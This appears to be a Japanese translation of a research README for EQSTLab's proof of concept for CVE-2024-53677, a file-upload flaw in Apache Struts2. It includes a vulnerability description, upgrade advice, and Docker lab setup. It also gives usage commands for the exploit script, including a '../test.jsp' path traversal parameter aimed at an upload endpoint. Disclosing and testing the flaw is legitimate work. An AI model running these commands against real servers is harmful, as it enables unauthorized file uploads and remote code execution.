
Apache Struts2 エクスプロイトにおけるファイルアップロードロジックの欠陥
この投稿は EQSTLab が公開した調査記事です。
★ CVE-2024-53677 危険なタイプのファイルの無制限アップロードと RCE PoC ★
cd docker
docker build --ulimit nofile=122880:122880 -m 3G -t cve-2024-53677 .
docker run -p 8080:8080 --ulimit nofile=122880:122880 -m 3G --rm -it --name cve-2024-53677 cve-2024-53677
12月11日 : CVE-2024-53677 ファイルアップロード PoC をアップロードしました
CVE-2024-53677 : Apache Struts のファイルアップロードロジックには欠陥があります。攻撃者はファイルアップロードパラメータを操作してパストラバーサルを可能にし、状況によっては悪意のあるファイルをアップロードしてリモートコード実行(RCE)を実行するために使用される可能性があります。この問題は Apache Struts の 2.0.0 から 6.4.0 未満に影響します。ユーザーは少なくともバージョン 6.4.0 にアップグレードし、新しいファイルアップロードメカニズム https://struts.apache.org/core-developers/file-upload に移行することをお勧めします。古い FileuploadInterceptor ベースのファイルアップロードロジックを使用していない場合、アプリケーションは安全です。詳細は https://cwiki.apache.org/confluence/display/WW/S2-067 で確認できます。
git clone https://github.com/EQSTLab/CVE-2024-53677.git
cd CVE-2024-53677
pip install -r requirements.txt
# Upload the default file
python CVE-2024-53677.py -u <URL> -p <top.UploadFileName>
# Upload Specified File
python CVE-2024-53677.py -u <URL> -p <top.UploadFileName> -f <File Path>
python CVE-2024-53677.py -u http://localhost:8080/upload.action -p ../test.jsp
python CVE-2024-53677.py -u http://localhost:8080/upload.action -p ../test.jsp -f ./test.txt
CVE-2024-53677.py
このリポジトリは、CVE-2024-53677 に対するオブジェクトインジェクションエクスプロイトを意図したものではありません。このプロジェクトの目的は、人々がこの脆弱性について学び、おそらく自身のアプリケーションをテストするのを支援することです。
私たちは月に一度、CVE とマルウェア分析を公開しています。興味があれば、以下のリンクから出版物を確認してください。 https://www.skshieldus.com/eng/business/insight.do
https://nvd.nist.gov/vuln/detail/CVE-2024-53677
https://attackerkb.com/topics/YfjepZ70DS/cve-2024-53677
https://github.com/Trackflaw/CVE-2023-50164-ApacheStruts2-Docker